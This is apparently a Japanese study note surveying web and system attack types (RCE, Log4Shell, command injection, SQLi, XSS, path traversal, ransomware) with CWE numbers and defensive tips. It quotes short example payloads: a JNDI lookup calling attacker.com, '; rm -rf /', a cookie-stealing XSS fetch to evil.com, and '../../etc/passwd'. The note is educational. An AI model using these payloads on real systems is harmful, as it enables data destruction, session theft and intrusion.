8.4 KiB
8.4 KiB
攻撃について
| 攻撃カテゴリ | 攻撃名 | 概要 | 代表CWE | 代表例 |
|---|---|---|---|---|
| RCE / 実行系 | Remote Code Execution | 遠隔で任意コード実行 | CWE-94 / 502 | Log4Shell |
| OS Command Injection | OSコマンドを注入 | CWE-78 | ; rm -rf / |
|
| Deserialization | 復元時にコード実行 | CWE-502 | Java deserialize | |
| Injection系 | SQL Injection | SQL文改ざん | CWE-89 | ログイン回避 |
| Command Injection | コマンド文字列注入 | CWE-77 | shell_exec | |
| Template Injection | テンプレRCE | CWE-1336 | SSTI | |
| XPath Injection | XML検索改ざん | CWE-643 | XML API | |
| Web系 | XSS | JS注入 | CWE-79 | Cookie窃取 |
| CSRF | 権限の悪用 | CWE-352 | 管理操作 | |
| Open Redirect | 任意URL遷移 | CWE-601 | フィッシング | |
| 認証・認可 | Auth Bypass | 認証回避 | CWE-287 | ロジック不備 |
| Privilege Escalation | 権限昇格 | CWE-269 | 管理者化 | |
| Session Fixation | セッション固定 | CWE-384 | 乗っ取り | |
| ファイル系 | Path Traversal | 任意ファイル参照 | CWE-22 | ../../etc/passwd |
| File Upload Abuse | WebShell設置 | CWE-434 | .php upload |
|
| Arbitrary File Write | 任意書込 | CWE-73 | 設定改ざん | |
| 設定ミス | Security Misconfiguration | 設定不備 | CWE-16 | DEBUG=true |
| Default Credentials | 初期PW | CWE-798 | admin/admin | |
| Exposed Secret | 鍵流出 | CWE-522 | SECRET_KEY | |
| 情報漏洩 | Info Disclosure | 情報漏洩 | CWE-200 | stack trace |
| Sensitive Data Exposure | 機密漏洩 | CWE-359 | PII漏洩 | |
| DoS系 | Denial of Service | サービス停止 | CWE-400 | 無限ループ |
| ReDoS | 正規表現DoS | CWE-1333 | catastrophic regex | |
| Supply Chain | Dependency Confusion | 依存関係偽装 | CWE-829 | npm事件 |
| Malicious Package | 悪意あるlib | CWE-1357 | PyPI malware | |
| マルウェア | Ransomware | 暗号化恐喝 | ATT&CK T1486 | LockBit |
| Cryptominer | 不正マイニング | ATT&CK T1496 | xmrig | |
| 横展開 | Lateral Movement | 内部拡散 | ATT&CK T1021 | 内部侵入 |
| Container Escape | コンテナ脱出 | CWE-250 | runc |
## 設定ミスによるセキュリティリスク
セキュリティで実際に多いのは、設定ミスによるものが多いです
- 公開S3/GCSなどのストレージ
- .envの流出
- 管理画面の公開
- 本番前のDEBUG=true
OSコマンド系 RCE(Remote Code Execution)
- OSコマンド実行も含む上位概念
- ライブラリ脆弱性で多発
(例) deserialization: 悪意あるオブジェクト構造を作りdeserializationさせることで 内部でコードが実行される可能性がある
ObjectInputStream in = new ObjectInputStream(input);
Object obj = in.readObject(); // ← ここが危険
Log4Shell:
- CVE-2021-44228
- Javaのログライブラリ: Log4j 2
以下のコードでは攻撃者が用意したJavaクラスのコードが、 あなたのサーバー上で実行されます
userInput = ${jndi:ldap://attacker.com/a}
log.info("User: {}", userInput);
OSコマンドインジェクション
外部入力からshell実行ができる
ping ${user_input}
に対して; rm -rf /を実行する
- 影響: サーバ完全制御
- CVSS: 9〜10
- 関連CWE: CWE-78
WEBアプリ系
SQLインジェクション(SQLi)
- DBの中身丸見えになる
- 認証回避
- データ破壊
- CWE-89
SELECT * FROM users WHERE id = '1' OR '1'='1';
XSS(Cross-Site Scripting)
- Cookie盗難
- セッション乗っ取り
JavaScript注入
<script>fetch("evil.com?cookie="+document.cookie)</script>
種類:
- Stored
- Reflected
- DOM-based
CSRF
- ユーザーの権限を勝手に使う
- ログイン中に踏ませる
- 管理操作が実行される
認証・セッション系
認証回避
- default password
- SECRET_KEY漏洩
- JWT署名鍵漏れ
権限昇格
- root取得
- container escape
セッションハイジャック
- Cookie盗難
- セッションハイジャック
ファイル関係
ファイルアップロードの悪用
.php .jsp .py → WebShell設置
パストラバーサル
../../etc/passwd
機密ファイル漏洩
マルウェア
マルウェアとは、悪意のあるソフトウェアの総称
主な感染路は
- 電子メール: 添付ファイルを開いたり、本文中のURLをクリックしたりする。
- Webサイト: 悪意のあるサイトを閲覧したり、偽のサイトからダウンロードしたりする。
- ソフトウェア:信頼できないフリーソフトのインストール時など。 技術的な対策
- セキュリティソフト(ウイルス対策ソフト)の導入
- リアルタイムスキャン機能により、既知のマルウェアの侵入を検知・ブロック
- OSとソフトウェアの最新化
- OSやアプリケーションの脆弱性(セキュリティ上の欠陥)を狙って侵入することが多い
- 提供元からリリースされるセキュリティパッチを速やかに適用
- 自動更新を有効に設定することを強く推奨します。
- ファイアウォールの有効化
- 不正なネットワーク通信を遮断する
- 外部からの不正アクセスやマルウェアによる外部への情報送信を防ぎます。
ランサムウェア
ファイルを暗号化して使えなくし、元に戻す代わりに金銭を要求する。
- 暗号化して身代金要求
- 侵入後に展開
- バックアップも破壊
- 有名なランサムウェア
- LockBit攻撃
- WannaCry攻撃
クリプトマイナー
- CPU / GPUを勝手に使用
- Cloud Run / K8sで多発
トロイの木馬
便利なソフトに見せかけて侵入し、 裏で情報を盗んだり不正な操作を行ったりする。
スパイウェア
ユーザーに気づかれずに個人情報や閲覧履歴などを盗み出す。